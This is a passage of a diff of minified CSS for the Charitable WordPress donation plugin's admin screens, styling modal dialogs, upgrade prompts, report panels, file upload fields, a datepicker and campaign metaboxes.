button.btn-confirm{background-color:#7a30e2;border-color:#7a30e2}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm:hover{background-color:#5c24a9;border-color:#5c24a9}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{color:transparent;font-family:FontAwesome;height:14px;opacity:1;right:10px;top:10px;width:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{color:#bbb;content:\"\\f00d\";font-size:16px;left:0;position:absolute;top:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:hover:after{color:#777!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{margin:0 0 20px 0;padding:0;font-weight:600}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c{font-size:47px;margin:0;-ms-transform:none!important;transform:none!important;-webkit-transition:none!important;transition:none!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c+.jconfirm-title{margin-top:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-title{color:#444;display:block;line-height:30px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content.lite-upgrade p{color:#777;font-size:18px;padding:0 20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{font-size:inherit;line-height:inherit;margin:0 0 16px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p:last-of-type{margin:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.large{font-size:18px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.small{font-size:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=email],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=number],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=password],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=search],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=tel],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=text],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=url],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content select,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content textarea{margin:10px 2px;width:calc(100% - 4px)}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased{display:block;grid-row:5;grid-column:1\u002F-1;color:#bbb;font-size:14px;margin-top:15px;text-decoration:underline;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased:hover{color:#777;text-decoration:underline}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note{grid-row:4;grid-column:1\u002F-1;margin:25px 0 0 0;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p{background-color:#fcf9e8;color:#777;font-size:16px;margin:0 -30px;padding:22px 52px 12px 52px;position:relative}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p:after{top:-16px;background-color:#fff;border-radius:50%;color:#00a32a;content:\"\\f058\";display:inline-block;font:normal normal normal 14px FontAwesome;font-size:26px;margin-right:-18px;padding:5px 6px;position:absolute;right:50%;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note span{color:#00a32a;font-weight:700}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note a{color:#777;display:block;margin-top:12px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .feature-video{margin:30px 0 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .pro-feature-video{margin:15px 0 10px 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input){display:block;width:99%;border:1px solid #d6d6d6;padding:10px!important;box-shadow:none;margin:10px 1px 1px 1px!important;line-height:1!important;outline:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input):focus{border-color:#007cba;box-shadow:0 0 0 1px #007cba}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{margin-top:-10px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button{min-width:83px;background:#f8f8f8;border:1px solid #ccc;border-radius:4px;color:#777;font-size:16px;font-weight:600;line-height:20px;outline:0;padding:11px 17px;text-transform:none;margin:10px;transition-property:all;transition-duration:.15s;transition-timing-function:ease-out}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button:hover{background:#eee;border-color:#ccc}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button[disabled]{cursor:no-drop;pointer-events:none;opacity:.25}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-confirm{color:#fff}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.hidden+button{margin-left:0;margin-right:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-block{display:block;margin:0 0 10px 0!important;text-align:center;width:100%}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-normal-case{text-transform:none!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button i{margin:0 10px 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .error{color:#d63638;display:none}.charitable-report-table-container-wrapper{position:relative}.charitable-cta-lite-to-pro{max-width:1000px;border:1px solid #dadada;padding:0!important;background-color:#fff;background-image:url(\"..\u002F..\u002Fimages\u002Flite-to-pro\u002Fcta.png\");background-size:100%;background-repeat:no-repeat;background-position:500px 0}.charitable-cta-lite-to-pro .charitable-cta-content{margin-top:40px!important;display:flex;flex-wrap:wrap;flex-direction:row;width:100%;justify-content:space-between;align-items:center;gap:50px}.charitable-cta-lite-to-pro .charitable-cta-content h5{font-size:20px;line-height:24px;font-weight:700;margin:0 0 10px 0}.charitable-cta-lite-to-pro .charitable-cta-content>div{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content>div:first-child{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{padding:0 25px 0 25px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list{margin:20px 0 0 0!important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul{display:flex;margin-bottom:20px!important;float:none!important;flex-direction:row;justify-content:space-between;align-items:center;flex-wrap:wrap;width:100%!important;padding:10px 0;gap:10px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li{margin:0 0 10px 0!important;padding:0 0 0 30px!important;color:#555;font-size:13px;line-height:14px;position:relative;width:calc(50% - 40px)}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li:before{content:\"✓\"!important;position:absolute;width:16px;height:16px;background:0 0;border:2px solid #218900;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;color:#218900;font-size:10px;left:0;top:2px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary{background-color:#218900;color:#fff;border:none;font-weight:600;padding:15px 20px!important;border-radius:5px!important;line-height:normal!important;min-height:50px!important;height:50px!important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary:hover{background-color:#1a6d00}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:flex}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{width:100%;height:120%;object-fit:cover;max-width:100%;border:1px solid #dadada}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container{display:flex;justify-content:start;align-items:center;flex-direction:row;gap:20px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container p{color:#555}.charitable-cta-lite-to-pro.no-close-button .charitable-cta-content{margin-top:30px!important;margin-bottom:20px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro{max-width:100%;margin-left:auto;margin-right:auto;overflow:hidden;background-image:none!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content{padding-bottom:20px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left ul li:before{top:-1px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:none!important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro{max-width:1000px;overflow:hidden}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content{justify-content:flex-start}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{margin-bottom:-10px!important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{max-height:400px}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{max-height:100%}@media (max-width:1100px){.charitable-cta-lite-to-pro{background-image:none}.charitable-cta-lite-to-pro .charitable-cta-content{flex-direction:column}}#charitable-reports .reports-lite-cta{position:absolute!important;z-index:9999999;top:50%;left:0;right:0;transform:translateY(-50%);margin:25px 25px 125px 25px!important}#charitable-reports .dashboard-lite-cta{position:relative!important;margin:0!important;transform:none!important}#charitable-reports .reports-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-reports .reports-lite-cta .green{color:#218900;font-weight:600}#charitable-reports .reports-lite-cta .fa-star{color:#ff982d}#charitable-settings .settings-lite-cta ul li{margin:0;padding:0 0 2px 16px;color:#555;font-size:14px;position:relative}#charitable-settings .settings-lite-cta ul li:before{content:\"+\";position:absolute;top:-1px;left:0}#charitable-settings .settings-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-settings .settings-lite-cta .green{color:#218900;font-weight:600}#charitable-settings .settings-lite-cta .fa-star{color:#ff982d}#charitable-settings .tablenav .tablenav-pages .tablenav-pages-navspan,#charitable-settings .tablenav .tablenav-pages a{min-width:28px;height:auto}.charitable-admin-wrap #charitable-settings .notice{margin-left:0!important;margin-right:0!important}select#charitable_settings_import_donations{margin-bottom:10px;width:100%}.form-table td p.top-label{margin-bottom:10px}body.post-type-charitable .postbox h2 .badge,th .badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:11px;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}body.post-type-charitable .postbox h2 .badge.beta,th .badge.beta{color:#fff;background-color:#007bff}.charitable-setting-dropdown-container,.charitable-setting-file-container{margin-bottom:10px;margin-top:5px}form.form-contains-file.charitable-import-campaign-donations-form{margin-top:5px}form.form-contains-file{margin-top:15px}form.form-contains-file input[type=file].charitable-settings-field{font-size:14px}.charitable-setting-file-container{display:flex;align-items:center;justify-content:flex-start;max-width:650px;margin-top:-5px}.charitable-setting-file-container input[type=file]{padding:4px;margin:-4px;position:relative;outline:0}.charitable-setting-file-container input[type=file]::file-selector-button{border-radius:4px;padding:0 16px;height:40px;cursor:pointer;background-color:#fff;border:1px solid rgba(0,0,0,.16);box-shadow:0 1px 0 rgba(0,0,0,.05);margin-right:16px;width:132px;color:transparent}@supports (-moz-appearance:none){.charitable-setting-file-container input[type=file]::file-selector-button{color:#0964b0}}.charitable-setting-file-container input[type=file]::file-selector-button:hover{background-color:#f3f4f6}.charitable-setting-file-container input[type=file]::file-selector-button:active{background-color:#e5e7eb}.charitable-setting-file-container input[type=file]::before{position:absolute;pointer-events:none;top:11px;left:16px;height:20px;width:20px;content:\"\";background-image:url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' viewBox='0 0 24 24' fill='%230964B0'%3E%3Cpath d='M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5-5 5z'\u002F%3E%3C\u002Fsvg%3E\")}.charitable-setting-file-container input[type=file]::after{position:absolute;pointer-events:none;top:10px;left:43px;color:#0964b0;content:\"Upload File\"}.charitable-setting-file-container input[type=file]:focus-within::file-selector-button,.charitable-setting-file-container input[type=file]:focus::file-selector-button{outline:2px solid #0964B0;outline-offset:2px}table.charitable-donor-history-table td p{margin:0}body.charitable-admin-reports-dashboard #charitable-reports .reports-lite-cta,body.charitable-admin-settings #charitable-settings .settings-lite-cta{position:relative!important;top:0;transform:none!important;margin-left:0!important}#charitable-reports .reports-lite-cta .dismiss,#charitable-settings .settings-lite-cta .dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}#charitable-reports .reports-lite-cta h5,#charitable-settings .settings-lite-cta h5{margin:0 0 16px;font-size:18px;font-weight:600;line-height:24px}#charitable-reports .reports-lite-cta h6,#charitable-settings .settings-lite-cta h6{font-weight:700;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p,#charitable-settings .settings-lite-cta p{color:#555;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p:last-of-type,#charitable-settings .settings-lite-cta p:last-of-type{margin:0}#charitable-reports .reports-lite-cta p a,#charitable-settings .settings-lite-cta p a{color:#e27730}#charitable-reports .reports-lite-cta p a:hover,#charitable-settings .settings-lite-cta p a:hover{color:#b85a1b}#charitable-reports .reports-lite-cta ul,#charitable-settings .settings-lite-cta ul{margin:0;padding:0;width:50%;float:left}\n\\ No newline at end of file\n+@charset \"UTF-8\";\u002F** * Clearfix helper class. * Credit:h5bp.com\u002Fq *\u002F.cf{*zoom:1}.cf:before, .cf:after{content:\" \";display:table}.cf:after{clear:both}\u002F** * Media block * * Credit:http:\u002F\u002Fwww.stubbornella.org\u002Fcontent\u002F2010\u002F06\u002F25\u002Fthe-media-object-saves-hundreds-of-lines-of-code\u002F *\u002F.charitable-media-block{overflow:hidden}.charitable-media-block .charitable-media-image{float:left;margin-right:12px}.charitable-media-block .charitable-media-image img{display:block}.charitable-media-block .charitable-media-body{overflow:hidden}.ui-datepicker{display:none}.ui-datepicker.charitable-datepicker-table{background-color:#fff;padding:0;border:1px solid #dedede;width:auto;z-index:100000 !important}.ui-datepicker.charitable-datepicker-table .ui-datepicker-header{padding:10px 20px;background:#f5f5f5;text-align:center;border:0;border-bottom:1px solid #dfdfdf;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev,.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{position:absolute;top:10px;width:auto;height:auto;color:#0073AA;cursor:pointer}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev .ui-icon,.ui-datepicker.charitable-datepicker-table .ui-datepicker-next .ui-icon{position:static;top:0;left:0;width:auto;height:auto;margin:0;background-image:none;text-indent:0;font-weight:400}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{left:10px}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{right:10px}.ui-datepicker.charitable-datepicker-table .ui-state-hover{border:none;background:none}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar{width:100%;padding:10px;margin:0;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td{border:1px solid #dedede}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar a{display:block;padding:6px;border:none;color:#747474;background:none;text-decoration:none;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:first-child{border-left:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:hover,.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar .ui-datepicker-unselectable{background-color:#f5f5f5}.charitable-metabox.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}.charitable-metabox.postbox .inside{margin-top:0;padding:0}.charitable-metabox .postbox-title{padding:0 0 8px 0}.charitable-metabox .postbox-header{border-bottom:none}.charitable-metabox .handlediv,.charitable-metabox .hndle{display:none}.charitable-metabox input,.charitable-metabox textarea{padding:14px 10px;width:100%}.charitable-metabox select{width:100%}.charitable-metabox input[type=checkbox],.charitable-metabox input[type=radio],.charitable-metabox input[type=button],.charitable-metabox input[type=submit]{width:auto}.charitable-metabox .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}.charitable-metabox .widefat th{font-size:13px}.charitable-metabox .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}.charitable-metabox .widefat .remove-col,.charitable-metabox .widefat .reorder-col{vertical-align:middle;text-align:center}.charitable-metabox .widefat .remove-col span,.charitable-metabox .widefat .reorder-col span{font-size:20px;color:#aaa}.charitable-metabox .widefat .remove-col span:hover,.charitable-metabox .widefat .reorder-col span:hover{color:#444}.charitable-metabox .widefat .reorder-col{width:10px;padding-right:0}.charitable-metabox .widefat .reorder-col span{cursor:move}.charitable-metabox .widefat .remove-col{width:20px;padding-left:0}.charitable-metabox .widefat .remove-col span{cursor:pointer}.charitable-metabox .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}.charitable-metabox .table-header{background:#f5f5f5}.charitable-metabox .table-header label{margin-bottom:0;font-weight:bold}.charitable-metabox .charitable-metabox-header{margin:24px 0}.charitable-metabox h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}.charitable-metabox .inside > .charitable-metabox-header:first-child{margin-top:0}#side-sortables .charitable-metabox-wrap{float:none}.charitable-metabox-header{float:left;width:100%}.charitable-metabox-wrap{width:100%;float:left;margin-bottom:24px}.charitable-metabox-wrap .charitable-helper{display:block;padding-top:8px;font-style:italic}.charitable-metabox-wrap label,.charitable-metabox-wrap legend{display:block;margin-bottom:8px;font-weight:bold}.charitable-metabox-wrap th label{margin-bottom:0}.charitable-metabox-wrap input,.charitable-metabox-wrap textarea{width:100%;padding:8px 10px}.charitable-metabox-wrap select{width:100%;padding:0 10px;height:46px;line-height:46px}.charitable-metabox-wrap input[type=checkbox],.charitable-metabox-wrap input[type=radio]{width:auto}.charitable-metabox-wrap.charitable-radio-wrap, .charitable-metabox-wrap.charitable-multi-checkbox-wrap{margin-bottom:14px}.charitable-metabox-wrap .charitable-radio-fieldset legend,.charitable-metabox-wrap .charitable-checkbox-fieldset legend{margin-bottom:0}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-helper,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-helper{padding:0}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list{margin-top:8px}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list li{display:block}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list label{vertical-align:baseline}.charitable-metabox-wrap .select2-selection.select2-selection--single{height:46px;font-size:14px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__rendered{line-height:46px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__arrow{height:46px}.charitable-metabox-wrap .select2-results__option{margin-bottom:0}.charitable-checkbox-wrap label{display:inline;font-weight:normal}.charitable-checkbox-list{display:flex;flex-direction:row;flex-wrap:wrap;width:75% !important;gap:8px}.charitable-checkbox-list li{font-size:15px;line-height:15px;width:calc(50% - 5px)}.charitable-radio-list label{display:inline-block;font-weight:normal}.charitable-radio-list li{margin-bottom:8px}.charitable-radio-list label{margin-bottom:0;vertical-align:text-bottom}.charitable-metabox-block{padding:10px;margin-bottom:10px;border:1px solid #dedede}body.post-type-donation .postbox-container .empty-container,body.post-type-campaign .postbox-container .empty-container{border:none;height:auto}.charitable-actions-form{padding:12px 12px 18px 12px}.charitable-actions-submit{background-color:#f8f8f8;padding:12px;border-top:1px solid #e5e5e5}.charitable-actions-submit .button-primary{float:right}.charitable-action-fields{margin-top:20px}.post-type-campaign .postbox-title{border-bottom:1px solid #eee}#campaign-title.postbox,#campaign-goal.postbox,#campaign-end-date.postbox,#campaign-description.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}#campaign-title.postbox .inside,#campaign-goal.postbox .inside,#campaign-end-date.postbox .inside,#campaign-description.postbox .inside{margin-top:0;padding:0}#campaign-title.postbox .postbox-title,#campaign-goal.postbox .postbox-title,#campaign-end-date.postbox .postbox-title,#campaign-description.postbox .postbox-title{padding:0 0 8px 0}#campaign-title.postbox .postbox-header,#campaign-goal.postbox .postbox-header,#campaign-end-date.postbox .postbox-header,#campaign-description.postbox .postbox-header{border-bottom:none}#campaign-title.postbox .handlediv,#campaign-title.postbox .hndle,#campaign-goal.postbox .handlediv,#campaign-goal.postbox .hndle,#campaign-end-date.postbox .handlediv,#campaign-end-date.postbox .hndle,#campaign-description.postbox .handlediv,#campaign-description.postbox .hndle{display:none}#campaign-title input,#campaign-title textarea,#campaign-goal input,#campaign-goal textarea,#campaign-end-date input,#campaign-end-date textarea,#campaign-description input,#campaign-description textarea{padding:14px 10px;width:100%}#campaign-title select,#campaign-goal select,#campaign-end-date select,#campaign-description select{width:100%}#campaign-title input[type=checkbox],#campaign-title input[type=radio],#campaign-title input[type=button],#campaign-title input[type=submit],#campaign-goal input[type=checkbox],#campaign-goal input[type=radio],#campaign-goal input[type=button],#campaign-goal input[type=submit],#campaign-end-date input[type=checkbox],#campaign-end-date input[type=radio],#campaign-end-date input[type=button],#campaign-end-date input[type=submit],#campaign-description input[type=checkbox],#campaign-description input[type=radio],#campaign-description input[type=button],#campaign-description input[type=submit]{width:auto}#campaign-title .charitable-metabox-title,#campaign-goal .charitable-metabox-title,#campaign-end-date .charitable-metabox-title,#campaign-description .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}#campaign-title .widefat th,#campaign-goal .widefat th,#campaign-end-date .widefat th,#campaign-description .widefat th{font-size:13px}#campaign-title .widefat tbody th,#campaign-goal .widefat tbody th,#campaign-end-date .widefat tbody th,#campaign-description .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}#campaign-title .widefat .remove-col,#campaign-title .widefat .reorder-col,#campaign-goal .widefat .remove-col,#campaign-goal .widefat .reorder-col,#campaign-end-date .widefat .remove-col,#campaign-end-date .widefat .reorder-col,#campaign-description .widefat .remove-col,#campaign-description .widefat .reorder-col{vertical-align:middle;text-align:center}#campaign-title .widefat .remove-col span,#campaign-title .widefat .reorder-col span,#campaign-goal .widefat .remove-col span,#campaign-goal .widefat .reorder-col span,#campaign-end-date .widefat .remove-col span,#campaign-end-date .widefat .reorder-col span,#campaign-description .widefat .remove-col span,#campaign-description .widefat .reorder-col span{font-size:20px;color:#aaa}#campaign-title .widefat .remove-col span:hover,#campaign-title .widefat .reorder-col span:hover,#campaign-goal .widefat .remove-col span:hover,#campaign-goal .widefat .reorder-col span:hover,#campaign-end-date .widefat .remove-col span:hover,#campaign-end-date .widefat .reorder-col span:hover,#campaign-description .widefat .remove-col span:hover,#campaign-description .widefat .reorder-col span:hover{color:#444}#campaign-title .widefat .reorder-col,#campaign-goal .widefat .reorder-col,#campaign-end-date .widefat .reorder-col,#campaign-description .widefat .reorder-col{width:10px;padding-right:0}#campaign-title .widefat .reorder-col span,#campaign-goal .widefat .reorder-col span,#campaign-end-date .widefat .reorder-col span,#campaign-description .widefat .reorder-col span{cursor:move}#campaign-title .widefat .remove-col,#campaign-goal .widefat .remove-col,#campaign-end-date .widefat .remove-col,#campaign-description .widefat .remove-col{width:20px;padding-left:0}#campaign-title .widefat .remove-col span,#campaign-goal .widefat .remove-col span,#campaign-end-date .widefat .remove-col span,#campaign-description .widefat .remove-col span{cursor:pointer}#campaign-title .widefat .ui-sortable-helper,#campaign-goal .widefat .ui-sortable-helper,#campaign-end-date .widefat .ui-sortable-helper,#campaign-description .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}#campaign-title .table-header,#campaign-goal .table-header,#campaign-end-date .table-header,#campaign-description .table-header{background:#f5f5f5}#campaign-title .table-header label,#campaign-goal .table-header label,#campaign-end-date .table-header label,#campaign-description .table-header label{margin-bottom:0;font-weight:bold}#campaign-title .charitable-metabox-header,#campaign-goal .charitable-metabox-header,#campaign-end-date .charitable-metabox-header,#campaign-description .charitable-metabox-header{margin:24px 0}#campaign-title h4.charitable-metabox-header,#campaign-goal h4.charitable-metabox-header,#campaign-end-date h4.charitable-metabox-header,#campaign-description h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}#campaign-title .inside > .charitable-metabox-header:first-child,#campaign-goal .inside > .charitable-metabox-header:first-child,#campaign-end-date .inside > .charitable-metabox-header:first-child,#campaign-description .inside > .charitable-metabox-header:first-child{margin-top:0}#campaign-top-sortables{padding-top:20px}#campaign-top-sortables > .postbox:nth-child(2),#campaign-top-sortables > .postbox:nth-child(3){float:left;width:48%}#campaign-top-sortables > .postbox:nth-child(2){padding-right:4%}#campaign-top-sortables #campaign-description{clear:both}@media (max-width:37.5em){#campaign-top-sortables > .postbox:nth-child(2), #campaign-top-sortables > .postbox:nth-child(3){width:100%;padding:0 0 24px}}#charitable-campaign-end-date-metabox-wrap{position:relative}#charitable-campaign-end-date-metabox-wrap .charitable-end-time{position:absolute;right:0;top:2px;width:80px;padding:20px 10px;border-left:1px solid rgba(0, 0, 0, 0.07);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.07);background:#f5f5f5;text-align:center;border-radius:0 4px 4px 0}@media (min-width:48.875em){#charitable-campaign-end-date-metabox-wrap .charitable-end-time{padding:18px 10px}}#campaign-end-date.postbox #charitable-campaign-end-date-metabox-wrap label{border:0;clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}#campaign-settings .postbox-title{border:none}#campaign-settings .inside{margin:0;padding:0}#campaign-settings .ui-tabs{*zoom:1;clear:both;padding:0;background-color:#f5f5f5;border:none;border-radius:0;font-family:\"Open Sans\", sans-serif;font-size:13px}#campaign-settings .ui-tabs:before, #campaign-settings .ui-tabs:after{content:\" \";display:table}#campaign-settings .ui-tabs:after{clear:both}#campaign-settings .ui-tabs .wp-editor-expand #wp-content-editor-tools{background-color:transparent}#campaign-settings .ui-tabs-nav{float:left;width:20%;margin:0;padding:0;border:none;background:none;line-height:1em;height:auto}#campaign-settings .ui-tabs-nav li{position:relative;top:0;display:block;width:100%;float:none;background:none;margin:0;padding:0 1px 0 0;border:0;white-space:normal}#campaign-settings .ui-tabs-nav a{display:block;float:none;padding:10px;color:#747474;text-decoration:none;border:none;text-shadow:none;margin:0;font-weight:normal}#campaign-settings .ui-tabs-nav li.ui-tabs-active{z-index:2;margin-right:-2px;border-top:1px solid #dedede;border-bottom:1px solid #dedede !important;background-color:#fff}#campaign-settings .ui-tabs-nav li:first-child{border-top-color:1px solid #dedede}#campaign-settings .ui-tabs-nav li.ui-tabs-active:first-child{border-top-color:transparent}#campaign-settings .ui-tabs-nav li:last-child{margin-bottom:10px;border-bottom-color:transparent}#campaign-settings 